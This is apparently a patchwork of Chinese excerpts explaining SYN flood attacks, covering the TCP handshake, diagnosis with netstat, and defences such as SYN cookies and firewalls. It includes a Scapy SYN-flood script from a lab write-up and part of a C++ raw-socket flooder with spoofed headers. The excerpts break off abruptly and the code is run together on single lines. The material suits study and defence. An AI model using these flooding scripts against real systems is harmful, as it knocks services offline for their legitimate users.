syn flood 原理及防护

SYNFlood攻击什么是SYN Flood攻击？SYN泛洪（半开放式攻击）是⼀种，旨在通过消耗所有可⽤的服务器资源来使服务器⽆法⽤于合法流量。

通过重复发送初始连接请求（SYN）数据包，攻击者可以淹没⽬标服务器计算机上的所有可⽤端⼝，从⽽使⽬标设备对合法流量的响应缓慢或完全不响应。

SYN Flood攻击如何⼯作？SYN Flood攻击通过利⽤连接的握⼿过程来⼯作。

在正常情况下，TCP连接表现出三个不同的过程以进⾏连接。

1. ⾸先，客户端将SYN数据包发送到服务器以启动连接。

2. 然后，服务器使⽤SYN / ACK数据包响应该初始数据包，以便确认通信。

3. 最后，客户端返回⼀个ACK数据包，以确认已从服务器接收到该数据包。

完成发送和接收数据包的顺序之后，TCP连接将打开并能够发送和接收数据。

为了创建，攻击者利⽤以下事实：接收到初始SYN数据包后，服务器将以⼀个或多个SYN / ACK数据包进⾏响应，并等待握⼿的最后⼀步。

运作⽅式如下：1. 攻击者通常使⽤IP地址将⼤量SYN数据包发送到⽬标服务器。

2. 然后，服务器响应每个连接请求，并保留⼀个开放的端⼝以准备接收响应。

3. 当服务器等待永远不会到达的最终ACK数据包时，攻击者将继续发送更多SYN数据包。

每个新的SYN数据包的到来使服务器暂时维持新的开放端⼝连接⼀段时间，⼀旦所有可⽤端⼝都被利⽤，服务器将⽆法正常运⾏。

在⽹络中，当服务器使连接保持打开状态但连接另⼀端的计算机未打开时，该连接被视为半打开。

在这种DDoS攻击中，⽬标服务器会不断离开开放的连接，并等待每个连接超时，然后端⼝才能再次可⽤。

结果是，这种类型的攻击可以被视为“半开放式攻击”。

SYN泛滥可以通过三种不同的⽅式发⽣：1. 直接攻击：未被欺骗的SYN泛洪称为直接攻击。

在这种攻击中，攻击者根本不会掩盖其IP地址。

由于攻击者使⽤具有真实IP地址的单个源设备来发起攻击，因此攻击者极易受到发现和缓解的影响。

[原创]SYNflood攻击原理剖析"拒绝服务"攻击-SYN拒绝服务一、洪水——大自然对人类的报复每一年，自然界都要用各种方式去报复人们对它做的一切，例如洪水。

每一年，人们都要为洪水后满地的狼籍和可能造成的人员伤亡和财产损失而发愁。

为了抵抗洪水，人们砍伐树木挖采岩石建造更高的堤坝;为了破坏这些堤坝，大自然发起更猛烈的洪水冲垮这些防护措施。

在大自然与人类抗衡的同时，网络上也有人与人之间的抗衡。

每一年，有些人总要不断试验各种令某些网站长时间无法访问的攻击方法。

每一年，投资者都要因为这些网站被恶意停止所造成的经济损失头痛。

为了抵抗这些人的攻击，技术人员研究各种方法让这些攻击造成的损失降低;为了各种目的，攻击者们研究更多的攻击方法让网站再次瘫痪。

这种攻击被称为“Denial of Service(DoS)”，臭名昭著的“拒绝服务”攻击。

它通常使用不只一台机器进行攻击，攻击者能同时控制这些机器，这种结构就是“Distributed”，分布式。

所以，我们要讨论的拒绝服务，默认都是指“Distributed Denialof Service(DDoS)”，分布式拒绝服务。

二、面对洪水……1.洪水以外的东西——被滥用的SYN拒绝服务(Synchronize Denial of Service)当一个地区即将发生洪水(或者已经发生)的时候，当地居民的表现很少有镇定的:东奔西跑的、收拾财物的、不知所措的……整个城镇乱成一锅粥，造成的后果就是街道交通混乱，谁也跑不了。

这个问题到了网络上，就变成了一堆数据包只能在服务器外面乱撞而不入。

为什么会这样,因为攻击者使用了SYN攻击。

要明白SYN攻击的原理，要从连接建立的过程开始说起。

从我们输入一个网址到我们能看到这个网页，机器在非常短的时间内为我们做了三件重要的事情:1.机器发送一个带有“ SYN”(同步)标志的数据包给服务器，请求连接;2.服务器返回一个带有SYN标志和ACK(确认)标志数据包给机器;3.机器也返回一个ACK确认标志数据包给服务器，数据传输建立。

SYN攻击与防范措施：网络世界的隐患与挑战网络安全问题是互联网发展过程中不可忽视的重要议题之一。

在众多的网络攻击手段中，SYN攻击一直以来都是危害严重且普遍存在的一种攻击方式。

本文将深入探讨SYN攻击的原理与影响，并提出针对性的防范措施，以帮助网络安全相关人员更好地应对这一挑战。

一、SYN攻击的原理SYN攻击（SYN Flood）是一种利用TCP协议中的漏洞进行的拒绝服务攻击（Denial of Service，DoS）。

攻击者通过请求连接来占用服务器资源，以达到阻塞正常用户连接的目的。

具体而言，SYN攻击是通过发送大量伪造的TCP连接请求（SYN包）来迷惑服务器，使其一直处于半连接状态，无法建立真正的连接。

攻击者通常会使用大量的IP地址和源端口号来混淆服务器，从而增加攻击的隐蔽性。

二、SYN攻击的影响SYN攻击对网络造成的影响是不可忽视的。

首先，它会耗尽服务器的资源，使其无法响应正常用户的请求，导致服务不可用。

其次，SYN攻击还可能导致网络拥塞，降低整个网络的带宽和传输速度。

更为严重的是，一些关键的网络设备（如防火墙）可能会因为处理SYN攻击而奔溃，从而给整个网络架构带来灾难性的后果。

三、防范SYN攻击的措施面对日益猖獗的SYN攻击，网络安全专家们提出了多种有效的防范措施：1. 增加系统资源SYN攻击利用了服务器资源的有限性，因此增加系统资源是一个最直接也最简单的方法。

通过提高服务器的处理能力和连接数目限制，可以减轻SYN攻击对服务器的影响。

2. 设置SYN CookieSYN Cookie是一种防御SYN攻击的方法。

通过在服务器端设置SYN Cookie，当服务器接收到一个SYN请求后，会将相关信息（如序列号等）保存在一个临时Cookie中。

只有在客户端回应ACK时，服务器才会验证该Cookie是否正确，并建立连接。

这种方式可以提高服务器抵御SYN攻击的能力。

3. 使用防火墙和入侵检测系统防火墙和入侵检测系统（IDS）能够识别并拦截大量的SYN请求。

TCP洪⽔攻击（SYNFlood）的诊断和处理SYN Flood是当前最流⾏的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的⽅式之⼀，这是⼀种利⽤TCP协议缺陷，发送⼤量伪造的TCP连接请求，常⽤假冒的IP或IP号段发来海量的请求连接的第⼀个握⼿包（SYN包），被攻击服务器回应第⼆个握⼿包（SYN+ACK 包），因为对⽅是假冒IP，对⽅永远收不到包且不会回应第三个握⼿包。

导致被攻击服务器保持⼤量SYN_RECV状态的“半连接”，并且会重试默认5次回应第⼆个握⼿包，塞满TCP等待连接队列，资源耗尽（CPU满负荷或内存不⾜），让正常的业务请求连接不进来。

详细的原理，⽹上有很多介绍，应对办法也很多，但⼤部分没什么效果，这⾥介绍我们是如何诊断和应对的。

诊断我们看到业务曲线⼤跌时，检查机器和DNS，发现只是对外的web机响应慢、CPU负载⾼、ssh登陆慢甚⾄有些机器登陆不上，检查系统syslog：tail -f /var/log/messagesApr 18 11:21:56 web5 kernel: possible SYN flooding on port 80. Sending cookies.检查连接数增多，并且SYN_RECV 连接特别多：netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'TIME_WAIT 16855CLOSE_WAIT 21SYN_SENT 99FIN_WAIT1 229FIN_WAIT2 113ESTABLISHED 8358SYN_RECV 48965CLOSING 3LAST_ACK 313根据经验，正常时检查连接数如下：netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'TIME_WAIT 42349CLOSE_WAIT 1SYN_SENT 4FIN_WAIT1 298FIN_WAIT2 33ESTABLISHED 12775SYN_RECV 259CLOSING 6LAST_ACK 432以上就是TCP洪⽔攻击的两⼤特征。

第1篇一、实验背景随着互联网技术的飞速发展，网络安全问题日益凸显。

其中，泛洪攻击作为一种常见的网络攻击手段，给网络系统带来了极大的威胁。

为了深入了解泛洪攻击的原理和防御方法，我们进行了本次泛洪攻击实验。

二、实验目的1. 理解泛洪攻击的原理和危害；2. 掌握泛洪攻击的实验方法；3. 学习防御泛洪攻击的策略。

三、实验环境1. 操作系统：Windows 102. 虚拟机软件：VMware Workstation3. 实验工具：Scapy四、实验原理泛洪攻击是一种利用目标系统资源耗尽而导致的拒绝服务攻击。

攻击者通过发送大量数据包或请求，使目标系统无法正常处理正常用户请求，从而达到拒绝服务的目的。

常见的泛洪攻击类型包括：1. TCP SYN泛洪攻击：利用TCP三次握手过程中的漏洞，发送大量伪造的SYN请求，使目标系统处于半连接状态，消耗系统资源。

2. UDP泛洪攻击：发送大量UDP数据包，使目标系统无法正常处理正常数据。

3. ICMP泛洪攻击：发送大量ICMP请求，使目标系统无法正常处理网络请求。

五、实验步骤1. 准备实验环境（1）在VMware Workstation中创建两台虚拟机，分别作为攻击者和目标系统。

（2）在攻击者虚拟机上安装Scapy工具。

2. 编写攻击脚本（1）使用Scapy编写TCP SYN泛洪攻击脚本，如下所示：```pythonfrom scapy.all importdef syn_flood(target_ip, target_port):while True:syn_packet = IP(dst=target_ip) / TCP(sport=RandShort(), dport=target_port, flags="S")send(syn_packet)if __name__ == "__main__":target_ip = "192.168.1.2"target_port = 80syn_flood(target_ip, target_port)```（2）运行攻击脚本，对目标系统进行TCP SYN泛洪攻击。

SYN_FLOOD 简单分析及实现声明:此程序有一定攻击性，请只供学习之用，不要危害祖国的网络。

如发动攻击一切后果自负。

网络上发送数据包的攻击有多种（如ICMP_FLOOD, 碎片攻击，等）其中有一种就是利用TCP 协议三次握手的攻击（SYN_FLOOD）。

下面就简单讲述一下 TCP 的三次握手。

现在有A,B 两台机器，其中B是SERVER.A是CLIENT.首先 A 发送送一个带有SYN标记（带起始序列号）的数据报给B。

然后 B 接收，然后发送一个ACK+SYN(带B机的起始序列号和 A的确认号）给A。

最后 A 再发送一个带序列号和确认号的数据报给 B。

此时连接完成。

利用这个原理，如果A机在第一步伪装大量不存在的机器，给B发送大量的SYN包，那么B 会以为有很多合法的机器请求连接，然后一一回应。

然后等待第三次确认建立连接。

那么大量等待连接的请求被保留在栈中。

一般服务器等待2分钟还没等到第三次握手，那么就会从等待连接的栈中删除连接请求。

如果A的SYN发送得足够快，合法用户连接不上，那么服务器也会花费大量的资源来维护栈。

从而照成D.o.S攻击。

通过RAW_SOCKET，只要你是管理员，就可以伪造IP和TCP头部，发虚假源地址的SYN请求。

简单实现如下：/* FLOOD.CPP*/#include <stdio.h>#include <winsock2.h>#include <ws2tcpip.h>#include <windows.h>#include <time.h>#include <dos.h>#pragma comment(lib, "ws2_32.lib")#define MAX_RECEIVEBYTE 255typedef struct ip_head //定义IP首部{unsigned char h_verlen; //4位首部长度,4位IP版本号unsigned char tos; //8位服务类型TOSunsigned short total_len; //16位总长度（字节）unsigned short ident; //16位标识unsigned short frag_and_flags; //3位标志位（如SYN,ACK，等）unsigned char ttl; //8位生存时间 TTLunsigned char proto; //8位协议 (如ICMP，TCP等)unsigned short checksum; //16位IP首部校验和unsigned int sourceIP; //32位源IP地址unsigned int destIP; //32位目的IP地址}IPHEADER;typedef struct tcp_head //定义TCP首部{USHORT th_sport; //16位源端口USHORT th_dport; //16位目的端口unsigned int th_seq; //32位序列号unsigned int th_ack; //32位确认号unsigned char th_lenres; //4位首部长度/6位保留字unsigned char th_flag; //6位标志位USHORT th_win; //16位窗口大小USHORT th_sum; //16位校验和USHORT th_urp; //16位紧急数据偏移量}TCPHEADER;typedef struct tsd_head //定义TCP伪首部{unsigned long saddr; //源地址unsigned long daddr; //目的地址char mbz;char ptcl; //协议类型unsigned short tcpl; //TCP长度}PSDHEADER;//CheckSum:计算校验和的子函数USHORT checksum(USHORT *buffer, int size) {unsigned long cksum=0;while(size >1){cksum+=*buffer++;size -=sizeof(USHORT);}if(size){cksum += *(UCHAR*)buffer;}cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (USHORT)(~cksum);}void usage(){printf("***********************************************************"); printf("SYN_FLOOD MADE BY LionD8");printf("Useage: FLOOD Target_ip Target_port Delay_time ");printf("***********************************************************"); }//Delay_time单位为毫秒。

SYN Flooding网络攻击的原理、检测及防御技术赵开新;李晓月【摘要】首先介绍了SYN Flooding攻击原理,接着分析了SYN Flooding攻击的检测方法,并提出了几种防御SYN Flooding攻击的措施,最后综合应用几种SYN Flooding防御方法,设计了一个降低网络服务器被SYN Flooding攻击可能性的实例.【期刊名称】《河南机电高等专科学校学报》【年(卷),期】2010(018)003【总页数】3页(P45-46,112)【关键词】DDoS;防火墙;SYN网关;SYN代理【作者】赵开新;李晓月【作者单位】河南机电高等专科学校,计算机科学与技术系,河南,新乡,453002;河南机电高等专科学校,计算机科学与技术系,河南,新乡,453002【正文语种】中文【中图分类】TP309.2随着Internet的迅速发展和普及，给人们带来方便的同时也带来了严峻的网络安全问题，网络上充满了泛洪攻击，尤其是DoS(Denial of Service Attack)，即拒绝服务攻击，这种攻击的目的是使被攻击的主机、服务器等网络设备无法提供正常的服务，而近年来在DoS技术基础上发展起来的DDoS(Distributed Denial ofService)，即分布式拒绝服务攻击，更使被攻击者防不胜防，目前DDos攻击中最常见的攻击方式是TCP SYN泛洪攻击。

1 SYN Flooding攻击原理SYN Flooding利用了TCP/IP协议固有的漏洞，实施对网络中的客户机、服务器进行攻击，它的攻击原理是通过伪造一个SYN报文向服务器发起连接，其源地址是伪造的或者是一个不存在的地址，服务器接收到报文后发送SYN ACK报文应答，由于攻击报文的源地址不可达，因此应答报文发出后，不会收到ACK报文，造成一个半开连接，如果攻击者发送大量的报文，会在被攻击主机上出现大量的半开连接，从而消耗其系统资源，使正常的用户无法访问。

防火墙-流量型攻击之SYN Flood及防御大家好，作者和你们又见面了！上一期作者带着大家一起了解了单包攻击的基本防御知识，知道了单包攻击的几大类型，以及防火墙支持防御的攻击种类。

但是，在现网中单包攻击只占了很小一部分比例，更多的攻击还是集中在流量型攻击和应用层攻击。

本期作者将继续为大家讲解一下现网上常见的流量型攻击。

过去，攻击者所面临的主要问题是网络带宽，由于较小的网络规模和较慢的网络速度的限制，攻击者无法发出过多的请求。

虽然类似“Ping of Death”的攻击类型只需要较少量的包就可以摧毁一个没有打过补丁的操作系统，但大多数的DoS攻击还是需要相当大的带宽，而以个人为单位的黑客们很难消耗高带宽的资源。

为了克服这个缺点，DoS攻击者开发了分布式的攻击。

木马成为黑客控制傀儡的工具，越来越多的计算机变成了肉鸡，被黑客所利用，并变成了他们的攻击工具。

黑客们利用简单的工具集合许多的肉鸡来同时对同一个目标发动大量的攻击请求，这就是DDoS(Distributed Denial of Service)攻击。

随着互联网的蓬勃发展，越来越多的计算机不知不觉的被利用变成肉鸡，攻击逐渐变成一种产业。

提起DDoS攻击，大家首先想到的一定是SYN Flood攻击。

今天作者就给大家详细说说SYN flood的攻击和防御。

最初的SYN Flood攻击类似于协议栈攻击，在当年的攻击类型中属于技术含量很高的“高大上”。

当年由于系统的限制以及硬件资源性能的低下，称霸DDoS攻击领域很久。

它与别人的不同在于，你很难通过单个报文的特征或者简单的统计限流防御住它，因为它“太真实”、“太常用”。

SYN Flood具有强大的变异能力，在攻击发展潮流中一直没有被湮没，这完全是他自身的优秀基因所决定的：1.单个报文看起来很“真实”，没有畸形。

2.攻击成本低，很小的开销就可以发动庞大的攻击。

2014年春节期间，某IDC的OSS系统分别于大年初二、初六、初七连续遭受三轮攻击，最长的一次攻击时间持续将近三个小时，攻击流量峰值接近160Gbit/s！事后，通过对目标和攻击类型分析，基本可以判断是有一个黑客/黑客组织发起针对同一目标的攻击时间。

SYNFlOOD攻击原理、检测及防御SYN LLOOD是现在比较常见的攻击方式，它可以利用TCP协议的缺陷来对TCP连接请求进行伪造，进而导致CPU在资源方面出现耗尽的情况，或者是导致CPU出现内存不足的情况。

在对SYN FLOOD攻击进行分析的时候可以从TCP三次握手和握手的时候出现的缺陷，同时在IP方面出现的欺骗进行分析，这样可以更好的对SYN FLOOD 进行分析，进而找到检测的方法和防御的方法。

标签：SYN Flood攻击；检测；防御拒绝服务攻击和分布式拒绝服务攻击是网络攻击方式中危害极大的攻击，和其他的网络攻击不同，拒绝服务攻击不是对攻击目标的系统和数据进行危害，而是对攻击目标的网络进行耗尽，同时对系统的操作面临着资源不断减少的情况，这样就会导致攻击目标的服务器系统出现崩溃的情况，使得用户无法使用网络服务。

SNY FLOOD就是拒绝服务攻击和分布式拒绝服务攻击的重要方式之一，如果攻击的目标是支持TCP应用的，那么这种攻击方式就可以对攻击目标的所有网络连接进行攻击，同时使用户无法正常进行网络的访问，SNY FLOOD攻击的原理就是利用TCP协议在建立连接的时候三次握手的缺陷，同时利用IP的欺骗技术。

为了更好的解决这种攻击方式，对SYN FLOOD攻击进行必要的检测是非常重要的，在检测方面人们已经在使用一些方法的，同时在防御方法上人们也找到了一些措施，可以通过修改系统的配置，采用必要的防火墙或者只允许合法的IP源在设备上进行使用，这样进行网络连接的时候才能避免出现IP欺骗的情况。

1 TCP三次握手TCP是传输控制协议的简称，它是一种传输层协议，在使用的时候主要是进行面向连接。

面向连接是一种数据在传输的时候建立起来的虚电路连接，在进行连接的时候主要是对客户端和服务器之间进行连接。

这个连接的过程通常被人们称作为TCP的三次握手。

TCP的第一次握手是客户端向服务器发送SYN包，并且要在系统缓存中开辟一个空间来对服务器的请求进行处理，这时候连接的状态表现为SYN 的发送状态。